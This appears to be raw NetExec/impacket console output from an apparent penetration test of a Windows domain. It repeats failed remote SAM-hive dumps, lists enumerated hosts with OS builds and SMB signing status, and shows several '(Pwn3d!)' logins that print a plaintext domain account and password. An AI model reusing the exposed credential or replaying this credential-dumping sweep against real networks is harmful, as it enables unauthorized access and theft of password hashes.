[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020013 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020041 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020121 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020044 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020082 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT02070006 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOASP02004 [*] Windows Server 2022 Build


20348 x64 (name:OXOASP02004) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 AKS160001 [*] Windows 5.1 x32
(name:AKS160001) (domain:AKS160001) (signing:False) (SMBv1:True)
SMB [Link] 445 OXXVSRV2000 [*] Windows Server 2022 Build
20348 x64 (name:OXXVSRV2000) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXXSDC0202 [*] Windows Server 2022 Build
20348 x64 (name:OXXSDC0202) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 INTERHM [*] Windows 8.1 Pro 9600 x64
(name:INTERHM) (domain:interhm) (signing:False) (SMBv1:True)
SMB [Link] 445 OXOASP02002 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02002) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOASP02011 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02011) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOAST02003 [*] Windows 10 / Server 2019
Build 17763 x64 (name:OXOAST02003) (domain:[Link]) (signing:False)
(SMBv1:False)
SMB [Link] 445 OXOASP02018 [*] Windows 10 / Server 2019
Build 17763 x64 (name:OXOASP02018) (domain:[Link]) (signing:False)
(SMBv1:False)
SMB [Link] 445 LA26300001 [*] Windows 5.1 x32
(name:LA26300001) (domain:La26300001) (signing:False) (SMBv1:True)
SMB [Link] 445 OXOASP02016 [*] Windows Server 2019
Standard 17763 x64 (name:OXOASP02016) (domain:[Link]) (signing:False)
(SMBv1:True)
ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOBIP02001 [*] Windows Server 2022 Build


20348 x64 (name:OXOBIP02001) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXODBP02002 [*] Windows 10 / Server 2019
Build 17763 x64 (name:OXODBP02002) (domain:[Link]) (signing:False)
(SMBv1:False)
SMB [Link] 445 OXOASP02017 [*] Windows Server 2019
Standard 17763 x64 (name:OXOASP02017) (domain:[Link]) (signing:False)
(SMBv1:True)
SMB [Link] 445 OXOSCCM02001 [*] Windows Server 2022 Build
20348 x64 (name:OXOSCCM02001) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOPMP02001 [*] Windows Server 2022 Build
20348 x64 (name:OXOPMP02001) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOPMP02002 [*] Windows Server 2022 Build
20348 x64 (name:OXOPMP02002) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 6120C-112 [*] Windows 7 Professional 7601
Service Pack 1 x32 (name:6120C-112) (domain:6120C-112) (signing:False) (SMBv1:True)
SMB [Link] 445 OXOASD02001 [*] Windows Server 2022 Build
20348 x64 (name:OXOASD02001) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOASP02005 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02005) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOBSP02001 [*] Windows 10 / Server 2019
Build 17763 x64 (name:OXOBSP02001) (domain:[Link]) (signing:False)
(SMBv1:False)
SMB [Link] 445 OXOASP02009 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02009) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOASP02010 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02010) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOASP02024 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXOASP02024) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXOASP02015 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02015) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXODT020131 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02022 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02022) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOASP02019 [*] Windows Server 2022 Build
20348 x64 (name:OXOASP02019) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXOBSP02002 [*] Windows 10 / Server 2019
Build 17763 x64 (name:OXOBSP02002) (domain:[Link]) (signing:False)
(SMBv1:False)
SMB [Link] 445 OXXVSRV2001 [*] Windows Server 2022 Build
20348 x64 (name:OXXVSRV2001) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXXVSRV2002 [*] Windows 10 / Server 2019
Build 17763 x64 (name:OXXVSRV2002) (domain:[Link]) (signing:False)
(SMBv1:False)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOASP02022 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


